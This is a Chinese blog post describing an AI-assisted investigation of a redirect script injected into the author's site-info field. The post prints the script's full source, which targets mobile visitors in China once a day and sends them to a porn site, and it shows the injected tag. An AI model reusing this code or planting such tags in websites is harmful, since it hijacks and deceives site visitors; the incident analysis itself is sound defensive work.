网站被注入恶意脚本排查实录:AI 辅助安全分析实战

QuibblerAgentQuibblerAgent 2026-07-03 约 10 分钟 223 次阅读

网站被注入恶意脚本排查实录:AI 辅助安全分析实战

某天收到华为云监管反馈,称个人博客网站存在色情违规界面。作为技术博主,这简直是晴天霹雳——网站一直正常运行,怎么会突然出现这类问题?经过排查发现,网站被注入了恶意跳转脚本。本文记录完整的排查过程,重点分享如何借助 AI 快速定位问题并修复,希望能给遇到类似情况的开发者提供参考。

1、问题发现与初步排查

收到监管反馈后,第一时间打开网站检查。首页看起来完全正常,是一个技术博客的常规界面。但监管提供的截图显示,某些情况下会出现色情界面跳转。


1.1、借助 AI 分析网络请求

将网站 URL 提交给 AI,让它打开浏览器检查页面加载情况。AI 很快发现了关键线索:页面网络请求中存在一个可疑的外部脚本——https://ribi123.com/scriptl.js。这个域名与网站本身毫无关联,明显是第三方注入的脚本。

AI 还注意到该脚本加载失败(status 为 0),但更重要的是发现了它的存在——这说明某个位置正在尝试加载这个恶意脚本。

1.2、获取恶意脚本源码分析

AI 直接访问该恶意脚本的 URL,获取到了完整的代码内容。打开一看,代码逻辑非常清晰:

// 检测是否为移动设备
function isMobileDevice() {
    var userAgent = navigator.userAgent;
    return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
}

// 检测用户是否在中国
async function checkChinaIP() {
    const response = await fetch('https://ipinfo.io/json');
    const data = await response.json();
    return data.country === 'CN';
}

// 重定向到色情网站
async function redirectToAnotherPage() {
    if (Math.random() < 1) {
        window.location.href = "https://52ikan.com/";
    }
}

// 页面加载时触发
window.onload = async function () {
    var isFirstVisit = localStorage.getItem(getCurrentFormattedDate());
    if (!isFirstVisit) {
        localStorage.setItem(getCurrentFormattedDate(), 'true');
        var isC = await checkChinaIP();
        if (isC && isMobileDevice()) {
            redirectToAnotherPage();
        }
    }
};

核心实现:

1. 检测访问者的 IP 归属地(是否在中国)

2. 检测访问设备类型(是否为手机)

3. 使用 localStorage 按日期控制触发频率(每天只跳转一次)

4. 满足条件时重定向到色情网站

这个脚本设计得相当"狡猾":只针对中国用户、只针对移动设备、每天只触发一次。正因为这些限制条件,导致问题难以复现——PC 用户看不到、非中国 IP 不会触发、同一天再次访问也不会跳转。监管部门恰好用移动设备在中国网络环境下检测,于是捕获到了违规界面。

2、定位注入位置

确认了恶意脚本的存在和行为,下一步是找出它被注入到网站的哪个位置。AI 通过 curl 获取页面 HTML 源码,搜索恶意脚本标签的具体位置。

2.1、分析 HTML 上下文

搜索结果显示,恶意脚本位于页面第 1367 行左右:

<div class="card card-site-info">
    <div class="m-3">
        <h5 class="text-center">AI笔记本-欢迎来到 AI 驱动博客时代</h5>
        <div class="small line-height-3">
            ...网站描述内容...
            <script src="https://ribi123.com/scriptl.js"></script>
        </div>
    </div>
</div>

定位结果:

- 恶意脚本位于网站信息卡片(card-site-info)区域

- 紧跟在网站描述文字之后

       - 这段区域通常是后台"站点信息"配置的内容

2.2、推断注入途径

根据 HTML 结构分析,AI 给出了最可能的注入途径判断:

• 后台"站点信息"设置被篡改(可能性最高)

• 模板文件被修改(view/htm/ 目录)

• 数据库配置表被注入

       • 某个插件存在安全漏洞

3、修复与验证

根据 AI 的定位分析,登录网站后台检查"站点信息"配置,果然在网站描述字段中发现了那段恶意脚本标签。删除后重新检测,问题彻底解决。

3.1、清理步骤

AI 提供了三种清理方案供选择:

// 方案一:通过后台删除(推荐)
登录后台 → 设置 → 站点信息
检查网站描述、公告、统计代码等字段
删除包含 ribi123.com 的内容

// 方案二:通过数据库清理
SELECT * FROM bbs_setting WHERE v LIKE '%ribi123%';
UPDATE bbs_setting SET v = REPLACE(v, '恶意脚本', '') WHERE ...

// 方案三:通过文件搜索删除
grep -r "ribi123" /网站目录/
找到后手动编辑删除

核心实现:

1. 定位恶意代码的存储位置(后台配置/数据库/模板文件)

2. 删除恶意脚本标签及相关代码

3. 全站搜索确认无残留

3.2、验证清理结果

清理完成后,AI 再次检测网站多个页面:

// 验证检测命令
curl -s "http://quibbler.cn/" | grep -c "ribi123"      // 结果:0
curl -s "http://quibbler.cn/?forum-1.htm" | grep -c "ribi123"  // 结果:0

// 检查其他可疑脚本
curl -s "http://quibbler.cn/" | grep -i "document.write.*script"

检测结果:

- 首页:无恶意脚本

- 帖子列表页:无恶意脚本

- 登录页:无恶意脚本

       - 其他可疑外部脚本:未发现

4、AI 辅助排查的优势

这次排查过程让我深刻体会到 AI 在安全分析中的价值。传统排查需要手动检查日志、搜索文件、分析代码,而 AI 可以快速完成多个环节。

4.1、效率对比

• 浏览器自动化:AI 直接打开网站,分析网络请求,发现可疑脚本

• 代码分析:获取恶意脚本源码后,AI 快速解读其行为逻辑

• 定位精准:通过 HTML 上下文分析,锁定注入位置

       • 多页面验证:清理后快速检测多个页面确认结果

4.2、关键能力

- 浏览器操作能力:可以直接访问网站、查看网络请求、分析页面结构

- 代码理解能力:快速分析恶意脚本的行为逻辑和触发条件

- 命令行能力:使用 curl、grep 等工具定位和验证问题

       - 结构化输出:给出清晰的排查报告和修复方案

5、总结

本次网站安全事件从发现问题到修复完成,全程借助 AI 辅助分析。关键收获:恶意脚本往往设计得非常隐蔽——针对性地域、特定设备、频率控制——导致问题难以复现。借助 AI 的浏览器自动化和代码分析能力,可以快速定位这类隐蔽的安全威胁。

修复后的安全建议:

1. 立即修改后台管理员密码

2. 定期备份网站文件和数据库

3. 建立定期自查机制:搜索可疑域名和 document.write 等特征

       4. 更新网站程序和插件到最新版本

对于运营网站的开发者而言,建立定期安全检查习惯、保持程序更新、遇到问题善用 AI 辅助分析,是保障网站安全运行的必要措施。

相关推荐

置顶 精选
博客七周年:AI 一天完成整体重构
AI

博客七周年:AI 一天完成整体重构

博客从 2019 年国庆用 Xiuno BBS 搭建,到 2026 年国庆整整七年。868 篇文章、53 条评论、6060 个代码块,这次与 AI Agent 结对,一天完成从 PHP 论坛到 Next.js 的整体重构与无损迁移。

23
精选
​Jev 详解:不做生成的判断模型
AI

​Jev 详解:不做生成的判断模型

Jev 详解:不做生成的判断模型让 LLM 干"判断"的活,一直是件拧巴的事:它擅长生成文本给人读,你要的却是结构化决策给代码用——于是提示词约束、JSON 解析、重试兜底一层层糊上去。TypeSafe AI 的答案是干脆换一类模型:Jev,首个 System One 模型——不做文本生成,专职快速、结构化的判断:输入状态与类型化问题,输出带概率与置信度的结构化答案,类型错误在数学上不可能发生,因

11
精选
Laya 详解:可自托管微调的非自回归判断模型
AI

Laya 详解:可自托管微调的非自回归判断模型

Laya 详解:可自托管微调的非自回归判断模型Jev 证明了"判断模型"这条路走得通,但它闭源、按 token 计费、只能云端调用。两天后(2026 年 9 月 18 日),NandhaKishorM 在 GitHub 开源了 NandhaKishorM/laya(Laya):多语言、非自回归的 System 1 判断引擎——三个 checkpoint(laya / laya-multilingu

6